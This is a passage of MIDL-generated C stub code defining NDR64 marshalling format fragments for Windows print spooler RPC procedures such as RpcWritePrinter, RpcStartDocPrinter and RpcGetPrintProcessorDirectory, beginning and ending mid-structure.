0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag414_t __midl_frag414 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag413_t __midl_frag413 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag414\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag412_t __midl_frag412 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag413\n};\n\nstatic const __midl_frag410_t __midl_frag410 =\n{ \n/* RpcReadPrinter */\n    { \n    /* RpcReadPrinter */      /* procedure RpcReadPrinter */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag413,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1087,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcNoBytesRead */      /* parameter pcNoBytesRead */\n        &__midl_frag1087,\n        { \n        /* pcNoBytesRead */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag408_t __midl_frag408 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag407_t __midl_frag407 =\n{ \n/* RpcAbortPrinter */\n    { \n    /* RpcAbortPrinter */      /* procedure RpcAbortPrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag408,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag406_t __midl_frag406 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag405_t __midl_frag405 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag404_t __midl_frag404 =\n{ \n/* RpcEndPagePrinter */\n    { \n    /* RpcEndPagePrinter */      /* procedure RpcEndPagePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag406,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag403_t __midl_frag403 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag401_t __midl_frag401 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag403\n};\n\nstatic const __midl_frag397_t __midl_frag397 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag575\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag396_t __midl_frag396 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag397\n};\n\nstatic const __midl_frag394_t __midl_frag394 =\n{ \n/* RpcWritePrinter */\n    { \n    /* RpcWritePrinter */      /* procedure RpcWritePrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag397,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcWritten */      /* parameter pcWritten */\n        &__midl_frag403,\n        { \n        /* pcWritten */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag391_t __midl_frag391 =\n{ \n/* RpcStartPagePrinter */\n    { \n    /* RpcStartPagePrinter */      /* procedure RpcStartPagePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag387_t __midl_frag387 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag384_t __midl_frag384 =\n{ \n/* DOC_INFO_1 */\n    { \n    /* DOC_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DOC_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag383_t __midl_frag383 =\n{ \n/* *DOC_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag384\n};\n\nstatic const __midl_frag382_t __midl_frag382 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag381_t __midl_frag381 =\n{ \n/* __MIDL_winspool_0003 */\n    { \n    /* __MIDL_winspool_0003 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag382,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag383,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag380_t __midl_frag380 =\n{ \n/* DOC_INFO_CONTAINER */\n    { \n    /* DOC_INFO_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DOC_INFO_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag381\n        },\n        { \n        /* DOC_INFO_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag379_t __midl_frag379 =\n{ \n/* *DOC_INFO_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag380\n};\n\nstatic const __midl_frag378_t __midl_frag378 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag377_t __midl_frag377 =\n{ \n/* RpcStartDocPrinter */\n    { \n    /* RpcStartDocPrinter */      /* procedure RpcStartDocPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag378,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDocInfoContainer */      /* parameter pDocInfoContainer */\n        &__midl_frag380,\n        { \n        /* pDocInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pJobId */      /* parameter pJobId */\n        &__midl_frag403,\n        { \n        /* pJobId */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag374_t __midl_frag374 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1091\n};\n\nstatic const __midl_frag366_t __midl_frag366 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag387\n};\n\nstatic const __midl_frag363_t __midl_frag363 =\n{ \n/* RpcGetPrintProcessorDirectory */\n    { \n    /* RpcGetPrintProcessorDirectory */      /* procedure RpcGetPrintProcessorDirectory */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag366,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag403,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorDirectory */      /* parameter pPrintProcessorDirectory */\n        &__midl_frag653,\n        { \n        /* pPrintProcessorDirectory */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n    